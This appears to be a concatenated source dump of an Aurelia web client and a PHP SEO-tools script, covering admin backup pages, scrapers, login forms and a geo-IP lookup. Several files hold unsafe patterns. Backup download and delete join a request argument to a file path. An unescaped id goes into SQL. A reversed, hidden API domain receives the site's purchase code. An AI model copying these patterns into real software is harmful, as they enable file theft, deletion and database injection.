this.dragHandler = evt => this.drag(evt); this.endHandler = evt => this.endDrag(evt); this.startHandler = evt => this.startDrag(evt); handler.addEventListener('mousedown', this.startHandler); //we need to fake a 1 pixel drag because CodeMirror.scroll will grow in width // as new characters are typed. Once a resize happens via drag, this behavior // stops. Not sure why, but this is a hackish fix. this.startHandler({clientX: handler.offsetLeft}); this.dragHandler({clientX: handler.offsetLeft + 1}); this.endHandler(); } tearDown() { window.removeEventListener('mousedown', this.startHandler); } startDragHandler(evt) { evt.preventDefault(); /* prevent text selection */ this.startDrag(evt); } startDrag(evt) { let splitter = this; splitter.lastX = evt.clientX; let w = window; w.addEventListener('mousemove', splitter.dragHandler); w.addEventListener('mouseup', splitter.endHandler); } drag(evt) { let splitter = this; let wDiff = evt.clientX - splitter.lastX; let d = document; var wL = d.defaultView.getComputedStyle(splitter.leftEl, '').getPropertyValue('width'); var wR = d.defaultView.getComputedStyle(splitter.rightEl, '').getPropertyValue('width'); wL = parseInt(wL, 10) + wDiff; wR = parseInt(wR, 10) - wDiff; splitter.leftEl.style.width = wL + 'px'; splitter.rightEl.style.width = wR + 'px'; splitter.lastX = evt.clientX; } endDrag() { window.removeEventListener('mousemove', this.dragHandler); window.removeEventListener('mouseup', this.endHandler); } }; <file_sep>/src/filesize-format.js import filesize from 'filesize'; export class FileSizeValueConverter { toView(value, format) { return filesize(value); } }; <file_sep>/src/wspace-summary.js import {bindable,inject} from 'aurelia-framework'; import Rc2State from 'Rc2State'; import $ from 'jquery'; @inject(Rc2State) export class wspaceSummary { constructor(state) { this.state = state; } @bindable wspace = null; fileSelected(event, wspaceId) { let file = this.$event.target.files[0]; console.log("got file " + file.name + " in ws " + this.wspace.id); var progressSelector = "#progress" + this.wspace.id; $(".btn-file").prop('disabled', true); $('input[type=file]').prop('disabled', true); $('input[type=file]').addClass('disabled'); $(progressSelector).css('display','block'); this.state.uploadFile(file, this.wspace, xhr => { this.uploadComplete(xhr); }, e => { //console.log("progress event " + e.loaded); //$(progressSelector + ' .progress-bar').css('width',(e.loaded / e.total) * 100); }); } uploadComplete(e) { var progressSelector = "#progress" + this.wspace.id; $(".btn-file").prop('disabled', false); $('input[type=file]').prop('disabled', false); $('input[type=file]').removeClass('disabled'); $(progressSelector).css('display','none'); } } <file_sep>/src/Rc2State.js //TODO: convert code to use Headers() instead of a Map() import {inject, Aurelia} from 'aurelia-framework'; import {HttpClient} from 'aurelia-fetch-client'; import 'fetch'; @inject(Aurelia) class rc2stateClass { constructor(aurelia) { this.aurelia = aurelia this.loggedIn = false; this.user = {}; this.login = ""; this.userId = 0; this.http = new HttpClient(); this.headers = new Map(); this.headers.set("Accept", "application/json"); this.headers.set("Content-Type", "application/json"); this.headers.set('Access-Control-Allow-Credentials', 'true'); this.http.configure(config => { config .withBaseUrl("/api") .withDefaults({ credientals: 'same-origin', headers: { 'Accept': 'application/json', 'Content-Type': 'application/json', 'Access-Control-Allow-Credentials': 'true' } }); }); } verifyLogin() { let me = Rc2State; let myHeaders = new Map(me.headers); let auth = window.localStorage.getItem("lastAuthToken"); if (auth == null || typeof auth === 'undefined') { return new Promise(function(resolve,reject) { reject(new RemoteError("unauthorized", 401)); }); } myHeaders.set("RC2-Auth", auth); myHeaders.set("Content-Type", "application/json") var promise = new Promise(function(resolve, reject) { me.http.fetch("/login", { method: 'get', headers:myHeaders, credentials: 'include', }) .then(res => { if (res.status === 200) { res.json().then(objs => { me.loggedInWithJson(objs) resolve(objs) me.aurelia.setRoot('app') }); } else { reject(new RemoteError("unauthorized", res.status)); } }) .catch(err => { reject(err); }); }); return promise; } attemptLogin(theLogin, thePassword) { let me = Rc2State; let headers = new Headers() me.headers.forEach((value, key) => { headers.append(key, value) }) headers.set("Content-Type", "application/json") headers.append("X-Jersey-Tracing-Accept", true) let body = JSON.stringify({login:theLogin, password:<PASSWORD>}) var promise = new Promise(function(resolve, reject) { me.http.fetch("/login", { method: 'post', headers:headers, credentials: 'include', body: body}) .then(res => { if (res.status === 200) { res.json().then(objs => { me.loggedInWithJson(objs) resolve(objs) }); } else { reject(new RemoteError("unauthorized", res.status)); } }) .catch(err => { reject(err); }); }); return promise; } loggedInWithJson(json) { let me = Rc2State; me.loginToken = json.token; me.headers.set('RC2-Auth', json.token); let d = json.user; me.loggedIn = true; me.userId = d["id"]; for (let aProp of ['login','firstName','lastName','email',]) { me[aProp] = d[aProp]; } //need to parse workspace/file information var wspaces = []; for (let aWspace of json.workspaces) { wspaces.push(new Workspace(aWspace)); } this.workspaces = wspaces; window.localStorage.setItem("lastAuthToken", json.token); //adjust our http config to include the auth header this.http.configure(config => { config .withBaseUrl("/api") .withDefaults({ credientals: 'same-origin', headers: { 'Accept': 'application/json', 'Content-Type': 'application/json', 'Access-Control-Allow-Credentials': 'true', 'RC2-Auth': me.loginToken } }); }); } logout() { window.localStorage.removeItem("lastAuthToken"); } uploadFile(file, wspace, complete, progress) { var data = new FormData(); data.append("file", file); var xhr = new XMLHttpRequest(); xhr.open('POST', `/api/workspaces/${wspace.id}/files/upload`, true); xhr.onload = e => { console.log("upload complete"); if (xhr.status == 201) { complete(xhr); var file = new File(JSON.parse(xhr.responseText)); wspace.files.push(file); } }; xhr.addEventListener("progress", progress); xhr.setRequestHeader('RC2-Auth', this.loginToken); xhr.send(data); } } let Rc2State = new rc2stateClass(); export default Rc2State; export class RemoteError extends TypeError { constructor(message, status) { super(message); this.status = status; } } export class File { constructor(jsonObj) { this.lastModified = new Date(0); this.lastModified.setSeconds(jsonObj["lastModified"]/1000); this.id = jsonObj["id"]; this.version = jsonObj["version"]; this.name = jsonObj["name"]; this.fileSize = jsonObj["fileSize"]; } }; export class Workspace { constructor(jsonObj) { this.id = jsonObj["id"]; this.version = jsonObj["version"]; this.name = jsonObj["name"]; this.userId = jsonObj["userId"]; var files = []; for (let aFile of jsonObj["files"]) { files.push(new File(aFile)); } this.files = files; } } <file_sep>/src/nav-bar.js import {bindable} from 'aurelia-framework'; import Rc2State from 'Rc2State'; export class NavBar { @bindable router = null; isloggedIn() { return this.state.loggedIn; } } <file_sep>/src/file-summary.js import {bindable} from 'aurelia-framework'; export class fileSummary { @bindable file = null; } <file_sep>/src/logout.js import {inject, Aurelia} from 'aurelia-framework'; import Rc2State from 'Rc2State'; import {Router} from 'aurelia-router'; @inject(Rc2State, Aurelia, Router) export class logout { constructor(state, aurelia, router) { this.state = state this.aurelia = aurelia this.router = router } activate() { this.state.logout() this.aurelia.setRoot('login') this.router.navigate("wspaces") } }
644d5078cbf6e5137afbf7bf4f12a74721e46ff3
[ "JavaScript" ]
11
JavaScript
wvuRc2/rc2web
39d2dd63f31c9e5c9303f7d9f720f36174edf284
34d94354a54caa8795fca55c7d9870bd7ac07f6d
refs/heads/main
<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $pageTitle = 'Database Backup'; $subTitle = 'DB Backup Settings'; $fullLayout = 1;$footerAdd = true; $footerAddArr = array(); $dbBackupPath = ADMIN_DIR.'db-backups'.D_S; if ($_SERVER['REQUEST_METHOD'] == 'POST') { $siteInfo = mysqli_query($con, "SELECT * FROM site_info where id='1'"); $siteInfoRow = mysqli_fetch_array($siteInfo); $other = dbStrToArr($siteInfoRow['other_settings']); $myValues = array_map_recursive( function($item) use ($con) { return escapeTrim($con,$item); }, $_POST['other'] ); unset($other['other']['dbbackup']); if(!isset($myValues['other']['dbbackup']['gzip'])) $myValues['other']['sitemap']['gzip'] = false; if(!isset($myValues['other']['dbbackup']['cron'])) $myValues['other']['sitemap']['cron'] = false; if(!isset($myValues['other']['dbbackup']['cronopt'])) $myValues['other']['dbbackup']['cronopt'] = 'daily'; $other = array_merge_recursive($other,$myValues); $other_settings = arrToDbStr($con,$other); $query = "UPDATE site_info SET other_settings='$other_settings' WHERE id='1'"; mysqli_query($con, $query); if (mysqli_errno($con)) $msg = errorMsgAdmin(mysqli_error($con)); else $msg = successMsgAdmin('Database settings saved successfully'); } //Load Database Settings $siteInfo = mysqli_query($con, "SELECT * FROM site_info where id='1'"); $siteInfoRow = mysqli_fetch_array($siteInfo); $other = dbStrToArr($siteInfoRow['other_settings']); if($pointOut == 'backup-now'){ $filePath = backupMySQLdb($con, $dbName, $dbBackupPath, isSelected($other['other']['dbbackup']['gzip'])); if(file_exists($filePath)) $msg = successMsgAdmin('Database backup saved Successfully'); else $msg = errorMsgAdmin('Database backup failed'); } if($pointOut == 'backup-download'){ $filePath = backupMySQLdb($con, $dbName, $dbBackupPath, isSelected($other['other']['dbbackup']['gzip'])); if(file_exists($filePath)){ $onlyFilename = end(explode(D_S,$filePath)); header('Content-Type: application/octet-stream'); header("Content-Transfer-Encoding: Binary"); header("Content-disposition: attachment; filename=\"".$onlyFilename."\""); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($filePath)); readfile($filePath); exit(); }else{ $msg = errorMsgAdmin('Database backup failed'); } } if($pointOut == 'download'){ if(isset($args[0]) && $args != ''){ $filePath = $dbBackupPath.trim($args[0]); if(file_exists($filePath)){ header('Content-Type: application/octet-stream'); header("Content-Transfer-Encoding: Binary"); header("Content-disposition: attachment; filename=\"".trim($args[0])."\""); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($filePath)); readfile($filePath); exit(); } } } if($pointOut == 'delete'){ if(isset($args[0]) && $args != ''){ $filePath = $dbBackupPath.trim($args[0]); if(file_exists($filePath)) unlink($filePath); if(!file_exists($filePath)) $msg = successMsgAdmin('Backup file deleted Successfully'); else $msg = errorMsgAdmin('Unable to remove backup file'); } } $tableData = ''; function doTableData($filename,$controller){ $onlyFilename = explode(D_S,$filename); $onlyFilename = end($onlyFilename); return '<tr> <td>'.$onlyFilename.'</td> <td>'.date ("F d Y h:i:s A", filemtime($filename)).'</td> <td><a class="btn btn-primary btn-xs" href="'.adminLink($controller.'/download/'.$onlyFilename.'/now',true).'"> <i class="fa fa-download"></i> &nbsp; Download </a></td> <td><a class="btn btn-danger btn-xs" onclick="return confirm(\'Are you sure you want to delete this item?\');" href="'.adminLink($controller.'/delete/'.$onlyFilename.'/now',true).'"> <i class="fa fa-trash-o"></i> &nbsp; Delete </a></td> </tr>'; } foreach(glob($dbBackupPath.'{'.$dbName.'}*.sql',GLOB_BRACE) as $filename) $tableData .= doTableData($filename,$controller); foreach(glob($dbBackupPath.'{'.$dbName.'}*.sql.gz',GLOB_BRACE) as $filename) $tableData .= doTableData($filename,$controller); ?><file_sep><?php /* * @author Balaji * @name AtoZ SEO Tools v2 * @copyright 2020 ProThemes.Biz * */ function alexaRank($site){ $apiData = simpleCurlGET('https://data.alexa.com/data?cli=10&dat=snbamz&url=' . $site); if(trim($apiData) === 'Okay') $apiData = simpleCurlGET('https://api.prothemes.biz/tools/alexa.php?domain='.$site.'&code=' . $GLOBALS['item_purchase_code']); $xml = simplexml_load_string($apiData); $a = $xml->SD[1]->POPULARITY; if ($a != null) { $alexa_rank = $xml->SD[1]->POPULARITY->attributes()->TEXT; $alexa_rank = ($alexa_rank==null ? 'No Global Rank' : $alexa_rank); } else { $alexa_rank = 'No Global Rank'; } $a1 = $xml->SD[1]->COUNTRY; if ($a1 != null) { $alexa_pop = $xml->SD[1]->COUNTRY->attributes()->NAME; $regional_rank = $xml->SD[1]->COUNTRY->attributes()->RANK; $alexa_pop = ($alexa_pop==null ? 'None' : $alexa_pop); $regional_rank = ($regional_rank==null ? 'None' : $regional_rank); } else { $alexa_pop = 'None'; $regional_rank = 'None'; } $outData = simpleCurlGET("https://www.alexa.com/siteinfo/$site"); $back = explode('<span class="big data">',$outData); $back = explode('</span>',$back[1]); $alexa_back = $back[0]; $alexa_back = ($alexa_back==null ? '0' : $alexa_back); return array($alexa_rank,$alexa_pop,$regional_rank,$alexa_back); } function cleanText($str){ $remArr = array("&nbsp;","<br>","<br/>","<br />","\n","\r\n",PHP_EOL); $str = str_replace($remArr,"",$str); return Trim($str); } function getCenterTextC($str1,$str2,$data){ $data = explode($str1,$data); $data = explode($str2,$data[1]); return cleanText($data[0]); } function alexaExtended($site){ $outData = simpleCurlGET("https://www.alexa.com/siteinfo/$site"); $back = explode('<span class="big data">',$outData); $back = explode('</span>',$back[1]); $alexa_backlinks = $back[0]; $alexa_backlinks = ($alexa_backlinks==null ? 0 : $alexa_backlinks); $cloop = 1; $top_countryData_rw = $top_countryData = $countryNameArr = array(); $countryData = $countryNameData = ''; $countryData = getCenterText('<section class="country">', '<div class="Hide">', $outData); $top_countryData_rw = explode('<li style="display:flex; justify-content:space-between;">',$countryData); foreach($top_countryData_rw as $top_rw) { if(!isset($top_countryData_rw[$cloop])) break; $top_rw = explode('</li>', $top_countryData_rw[$cloop]); $countryNameData = getCenterText('<div id="countryName">','</div>', $top_rw[0]); $countryNameArr = explode('&nbsp;', $countryNameData); $countryPercent = getCenterText('<div id="countryPercent">','</div>', $top_rw[0]); $top_countryData[] = array($countryNameArr[0], $countryNameArr[1], $countryPercent); $cloop++; } return $top_countryData; }<file_sep> //Keyword Position Checker var keysArr = new Array(); var maxPos = 0; var authCode, myUrl, keyData; function startTask(auth){ authCode = auth; maxPos = $("#posData").val(); keysArr = keyData.split('\n'); jQuery("#mainbox").fadeOut(); jQuery("#resultBox").css({"display":"block"}); jQuery("#resultBox").show(); jQuery("#resultBox").fadeIn(); jQuery(".percentimg").css({"display":"block"}); jQuery(".percentimg").show(); jQuery(".percentimg").fadeIn(); var listHTML = '<br /><table class="table table-bordered"><thead><tr><th align="center">#</th><th align="center">'+msgTab1+'</th><th align="center">'+msgTab2+'</th><th align="center">'+msgTab3+'</th></tr></thead><tbody>'; for(i=0; i < keysArr.length; i++){ var classTr = i % 2 == 0?'even':'odd'; listHTML+= '<tr class="'+classTr+'"><td align="center">'+(i+1)+'</td><td id="link-'+i+'">' + keysArr[i] + '</td><td align="center" id="google-'+i+'">&nbsp;</td><td align="center" id="yahoo-'+i+'">&nbsp;</td></tr>'; } listHTML+= '</tbody></table>'; jQuery("#results").html(listHTML); jQuery("#results").slideDown(); setTimeout(function(){ var pos = $('#posBox').offset(); $('body,html').animate({ scrollTop: pos.top }); }, 1000); make(0,myURL); } function make(loopID,sqURL) { if(loopID >= keysArr.length){ jQuery(".percentimg").fadeOut(); return; } var keyWord = keysArr[loopID]; jQuery.post(axPath,{keywordPos:'1',authcode:authCode, keyword:keyWord,searchUrl:sqURL,pos:maxPos},function(data){ var resData = data.split('::|::'); jQuery("#google-"+loopID).html(resData[0]); jQuery("#yahoo-"+loopID).html(resData[1]); window.setTimeout("make("+(loopID+1)+",'"+sqURL+"')", 1000); }); } jQuery(document).ready(function(){ jQuery("#checkButton").click(function(){ myURL=jQuery("#myurl").val(); myURL=jQuery.trim(myURL); if (myURL.indexOf("https://") == 0){myURL=myURL.substring(8);} if (myURL.indexOf("http://") == 0){myURL=myURL.substring(7);} if (myURL.indexOf("/") != -1){var xGH=myURL.indexOf("/");myURL=myURL.substring(0,xGH);} if (myURL.indexOf(".") == -1 ){myURL+=".com";} if (myURL.indexOf(".") == (myURL.length-1)){myURL+="com";} var regular = /^([www\.]*)+[a-zA-Z0-9-\.]\.[a-zA-Z0-9]+$/; var regular = /^([www\.]*)+(([a-zA-Z0-9_\-\.])+\.)+([a-zA-Z0-9]{2,4})+$/; if(!regular.test(myURL)){ sweetAlert(oopsStr, msgDomain , "error"); return; } keyData = $("#keyData").val(); if(keyData==null || keyData==""){ sweetAlert(oopsStr, msgKey , "error"); return; } validateCaptcha(); }); }); /* * @author Balaji * @name: AtoZ SEO Tools v2 * @copyright © 2017 ProThemes.Biz * */<file_sep><?php /* * @author Balaji * @name Rainbow PHP Framework - PHP Script * @copyright © 2017 ProThemes.Biz * */ function compressionTest($site) { $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_URL, $site); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_ENCODING , "gzip"); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13'); $response=curl_exec($ch); $comSize = curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD); $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $header = substr($response, 0, $header_size); $body = substr($response, $header_size); $unComSize = strlen($body); $gzdataSize = strlen(gzencode($body, 9)); curl_close($ch); if(str_contains($header,"gzip")) $isGzip = true; else $isGzip = false; return array($comSize,$unComSize,$isGzip,$gzdataSize,$header,$body); } ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright © 2018 ProThemes.Biz * */ if(!isset($_GET['id'])){ header('Location: '.adminLink('',true)); exit(); } $dID = raino_trim($_GET['id']); if($_SERVER['REQUEST_METHOD'] == 'POST'){ $tool_name = escapeTrim($con,$_POST['tool_name']); $tool_url = escapeTrim($con,$_POST['tool_url']); $tool_show = escapeTrim($con,$_POST['tool_show']); $tool_login = escapeTrim($con,$_POST['tool_login']); $tool_no = escapeTrim($con,$_POST['tool_no']); $meta_title = escapeTrim($con,$_POST['meta_title']); $meta_des = escapeTrim($con,$_POST['meta_des']); $meta_tags = escapeTrim($con,$_POST['meta_tags']); $captcha = escapeTrim($con,$_POST['captcha']); $about_tool = escapeTrim($con,$_POST['about_tool']); $query = "UPDATE seo_tools SET tool_name='$tool_name', tool_url='$tool_url', tool_no='$tool_no', tool_show='$tool_show', meta_title='$meta_title', meta_des='$meta_des', meta_tags='$meta_tags', captcha='$captcha', about_tool='$about_tool', tool_login='$tool_login' WHERE id='$dID'"; if (!mysqli_query($con,$query)) { $msg = '<div class="alert alert-danger alert-dismissable"> <i class="fa fa-ban"></i> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">&times;</button> <b>Alert!</b> Something Went Wrong! </div>'; }else{ $msg = '<div class="alert alert-success alert-dismissable"> <i class="fa fa-check"></i> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">&times;</button> <b>Alert!</b> SEO Tool information saved successfully! </div> <meta http-equiv="refresh" content="1;url='.adminLink('manage-tools',true).'"> '; } } $query = "SELECT * FROM seo_tools WHERE id='$dID'"; $result = mysqli_query($con,$query); while($row = mysqli_fetch_array($result)){ extract($row); } $tool_show = filter_var($tool_show, FILTER_VALIDATE_BOOLEAN); $tool_login = filter_var($tool_login, FILTER_VALIDATE_BOOLEAN); $captcha = filter_var($captcha, FILTER_VALIDATE_BOOLEAN); if($tool_show){ $tool_show_text = "Active"; $tool_show_color = "27ae60"; $tool_show_yes = "selected=''"; }else{ $tool_show_text = "Inactive"; $tool_show_color = "c0392b"; $tool_show_no = "selected=''"; } if($tool_login){ $tool_login_text = "Needed"; $tool_login_color = "27ae60"; $tool_login_yes = "selected=''"; }else{ $tool_login_text = "Not Needed"; $tool_login_color = "c0392b"; $tool_login_no = "selected=''"; } if($captcha){ $captcha_text = "Active"; $captcha_color = "27ae60"; $captcha_yes = "selected=''"; }else{ $captcha_text = "Inactive"; $captcha_color = "c0392b"; $captcha_no = "selected=''"; } $pageTitle = "$tool_name - SEO Tool"; $subTitle = $tool_name; $editPage = $fullLayout = 1; $footerAdd = true; $footerAddArr = array(); ?><file_sep><?php /* * @author Balaji * @name Rainbow PHP Framework - PHP Script * @copyright © 2017 ProThemes.Biz * */ function getMyGeoInfo($ip,$item_purchase_code, $json=false){ $domain = createLink('',true); $url = "http://".strrev(MY_API_DOMAIN)."/tools/ip.php?code=$item_purchase_code&ip=$ip&domain=$domain"; $outData = simpleCurlGET($url); $city= explode('<div id="city">',$outData); $city = explode('</div>',$city[1]); $city = ucfirst($city[0]); $city = ($city == '' ? 'Not available' : $city); $region = explode('<div id="region">',$outData); $region = explode('</div>',$region[1]); $region = ucfirst($region[0]); $region = ($region == '' ? 'Not available' : $region); $country_code = explode('<div id="country">',$outData); $country_code = explode('</div>',$country_code[1]); $country_code = strtoupper($country_code[0]); $isp = explode('<div id="isp">',$outData); $isp = explode('</div>',$isp[1]); $isp = ucfirst($isp[0]); $isp = ($isp == '' ? 'Not available' : $isp); $latitude = explode('<div id="latitude">',$outData); $latitude = explode('</div>',$latitude[1]); $latitude = $latitude[0]; $latitude = ($latitude == '' ? 'Not available' : $latitude); $longitude = explode('<div id="longitude">',$outData); $longitude = explode('</div>',$longitude[1]); $longitude = $longitude[0]; $longitude = ($longitude == '' ? 'Not available' : $longitude); $country = country_code_to_country(Trim($country_code)); $country = ($country == '' ? 'Not available' : $country); $country_code = ($country_code == '' ? 'Not available' : $country_code); $geo_info = array($city,$region,$country,$country_code,$isp,$latitude,$longitude); if($json) return json_encode($geo_info); else return $geo_info; } ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.1 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright 2020 ProThemes.Biz * */ ?> <script src="<?php themeLink('js/validator.js'); ?>" type="text/javascript"></script> <script type="text/javascript">$(function () { $('.loginme-form').validator(); });</script> <div class="container main-container"> <div class="row"> <?php if($themeOptions['general']['sidebar'] == 'left') require_once(THEME_DIR."sidebar.php"); ?> <div class="col-md-8 main-index"> <div class="xd_top_box text-center"> <?php echo $ads_720x90; ?> </div> <br /> <?php if (isset($success)) { echo '<div class="alert alert-success"> <strong>'.$lang['RF20'].'</strong> '.$success.' </div>'; if ($pointOut == 'login') { if(!isset($args[0])){ if($args[0] != 'verification-success'){ echo '<br/> <div class="alert alert-info"> <strong>'.$lang['RF20'].'</strong> '.$lang['RF55'].' </div>'; header('Location: '. createLink('',true)); echo '<meta http-equiv="refresh" content="1;url='.createLink('',true).'">'; } } } if ($pointOut == 'register') { echo '<br/> <div class="alert alert-info"> <strong>'.$lang['RF20'].'</strong> '.$lang['RF56'].' </div>'; } } elseif (isset($error)) { echo '<div class="alert alert-error"> <strong>'.$lang['RF20'].'</strong> '.$error.' </div>'; } if ($pointOut == 'login') { ?> <form method="POST" action="<?php createLink('account/login'); ?>" class="loginme-form"> <div class="loginpage"> <?php if($enable_oauth){ ?> <div class="form-group connect-with"> <div class="info"><?php trans('Sign in using social network',$lang['RF58']); ?></div> <a href="<?php createLink('facebook/login'); ?>" class="connect facebook" title="<?php trans('Sign in using Facebook',$lang['RF59']); ?>"><?php trans('Facebook',$lang['RF62']); ?></a> <a href="<?php createLink('google/login'); ?>" class="connect google" title="<?php trans('Sign in using Google',$lang['RF60']); ?>"><?php trans('Google',$lang['RF63']); ?></a> <a href="<?php createLink('twitter/login'); ?>" class="connect twitter" title="<?php trans('Sign in using Twitter',$lang['RF61']); ?>"><?php trans('Twitter',$lang['RF64']); ?></a> </div> <?php } ?> <div class="info"><?php trans('Sign in with your username',$lang['RF65']); ?></div> <div class="form-group"> <label><?php trans('Username',$lang['RF66']); ?> * <br /> <input required="required" type="text" name="username" class="form-input width96" /> </label> </div> <div class="form-group"> <label><?php trans('Password',$lang['RF67']); ?> * <br /> <input required="required" type="<PASSWORD>" name="password" class="form-input width96" /> </label> </div> </div> <?php if ($login_page) { echo $captchaCode; } ?> <div class="login-footer bottom70"> <button type="submit" class="btn btn-primary pull-left"><?php trans('Sign In',$lang['RF57']); ?></button> <div class="pull-right align-right"> <a href="<?php createLink('account/forget'); ?>"><?php trans('Forgot Password',$lang['RF68']); ?></a><br /> <a href="<?php createLink('account/resend'); ?>"><?php trans('Resend Activation Email',$lang['RF69']); ?></a> </div> </div> <input type="hidden" name="signin" value="<?php echo md5($date.$ip); ?>" /> </form> <?php } elseif ($pointOut == 'register') {?> <form action="<?php createLink('account/register'); ?>" method="POST" class="loginme-form"> <div class="loginpage"> <?php if($enable_oauth){ ?> <div class="form-group connect-with"> <div class="info"><?php trans('Sign in using social network',$lang['RF58']); ?></div> <a href="<?php createLink('facebook/login'); ?>" class="connect facebook" title="<?php trans('Sign in using Facebook',$lang['RF59']); ?>"><?php trans('Facebook',$lang['RF62']); ?></a> <a href="<?php createLink('google/login'); ?>" class="connect google" title="<?php trans('Sign in using Google',$lang['RF60']); ?>"><?php trans('Google',$lang['RF63']); ?></a> <a href="<?php createLink('twitter/login'); ?>" class="connect twitter" title="<?php trans('Sign in using Twitter',$lang['RF61']); ?>"><?php trans('Twitter',$lang['RF64']); ?></a> </div> <?php } ?> <div class="info"><?php trans('Sign up with your email address',$lang['RF71']); ?></div> <div class="form-group"> <label><?php trans('Username',$lang['RF66']); ?> * <br /> <input required="required" type="text" name="username" class="form-input width96" /> </label> </div> <div class="form-group"> <label><?php trans('Email',$lang['RF73']); ?> * <br /> <input required="required" type="text" name="email" class="form-input width96" /> </label> </div> <div class="form-group"> <label><?php trans('Full Name',$lang['RF72']); ?> * <br /> <input required="required" type="text" name="full" class="form-input width96" /> </label> </div> <div class="form-group"> <label><?php trans('Password',$lang['RF67']); ?> * <br /> <input required="required" type="password" name="password" class="form-input width96" /> </label> </div> </div> <?php if ($register_page) { echo $captchaCode; } ?> <div class="login-footer"> <button type="submit" class="btn btn-primary"><?php trans('Sign Up',$lang['RF70']); ?></button> </div> <input type="hidden" name="signup" value="<?php echo md5($date.$ip); ?>" /> </form> <?php } elseif ($pointOut == 'forget') {?> <form action="<?php createLink('account/forget'); ?>" method="POST" class="loginme-form"> <div class="loginpage"> <div class="infoshort"><b><?php trans('Forgot Password',$lang['RF78']); ?></b></div><br /> <div class="form-group"> <label><?php trans('Enter your email address',$lang['RF74']); ?> <br /> <input required="required" type="text" name="email" class="form-input width96" /> </label> </div> </div> <?php if ($reset_pass_page) { echo $captchaCode; } ?> <div class="login-footer"> <button type="submit" class="btn btn-primary"><?php trans('Submit',$lang['RF5']); ?></button> </div> <input type="hidden" name="forget" value="<?php echo md5($date.$ip); ?>" /> </form> <?php } elseif ($pointOut == 'resend') {?> <form action="<?php createLink('account/resend'); ?>" method="POST" class="loginme-form"> <div class="loginpage"> <div class="infoshort"><b><?php trans('Resend activation email',$lang['RF79']); ?></b></div><br /> <div class="form-group"> <label><?php trans('Enter your email address',$lang['RF74']); ?> * <br /> <input required="required" type="text" name="email" class="form-input width96" /> </label> </div> </div> <?php if ($resend_act_page) { echo $captchaCode; } ?> <div class="login-footer"> <button type="submit" class="btn btn-primary"><?php trans('Submit',$lang['RF5']); ?></button> </div> <input type="hidden" name="resend" value="<?php echo md5($date.$ip); ?>" /> </form> <?php } else {?> <br /> <h4><?php trans('Options:',$lang['RF75']); ?></h4> <a href="<?php createLink('account/login'); ?>"><?php trans('Login to your Account',$lang['RF76']); ?></a><br /> <a href="<?php createLink('account/register'); ?>"><?php trans('Register an account',$lang['RF77']); ?></a> <br /> <a href="<?php createLink('account/forget'); ?>"><?php trans('Forgot Password',$lang['RF78']); ?></a><br /> <a href="<?php createLink('account/resend'); ?>"><?php trans('Resend activation email',$lang['RF79']); ?></a><br /> <br /><br /> <?php } ?> <div class="xd_top_box text-center"> <?php echo $ads_720x90; ?> </div> <br /> </div> <?php if($themeOptions['general']['sidebar'] == 'right') require_once(THEME_DIR."sidebar.php"); ?> </div> </div> <br /><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright 2019 ProThemes.Biz * */ ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: AtoZ SEO Tools * @copyright 2018 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header ba-la-ji --> <form action="#" method="POST"> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?><br /> <?php if($pointOut == 'clone'){ if(isset($log)) { ?> <textarea readonly="" id="tableRes" rows="12" class="form-control"><?php echo $logData; ?></textarea> <br> <a class="btn btn-danger" href="<?php adminLink($controller); ?>">Go to Manage Themes</a> <br> <br> <?php } else { ?> <div class="form-group"> <label>Theme Name</label> <input value="<?php echo $themeDetails['name']; ?> Clone" required="required" type="text" placeholder="Type theme name" name="theme[name]" class="form-control" /> </div> <div class="form-group"> <label>Theme Directory Name <small>(Only Alphanumeric characters)</small></label> <input value="<?php echo $args[0]; ?>clone" pattern="[a-zA-Z0-9 ]+" required="required" type="text" placeholder="Type directory name" name="theme[dir]" class="form-control" /> </div> <div class="form-group"> <label>Description</label> <input value="<?php echo $themeDetails['description']; ?>" required="required" type="text" placeholder="Type theme description" name="theme[des]" class="form-control" /> </div> <div class="form-group"> <label>Your Name</label> <input value="<?php echo $themeDetails['author']; ?>" required="required" type="text" placeholder="Type author name" name="theme[author]" class="form-control" /> </div> <div class="form-group"> <label>Your Email</label> <input value="<?php echo $themeDetails['authorEmail']; ?>" required="required" type="text" placeholder="Type author email" name="theme[email]" class="form-control" /> </div> <div 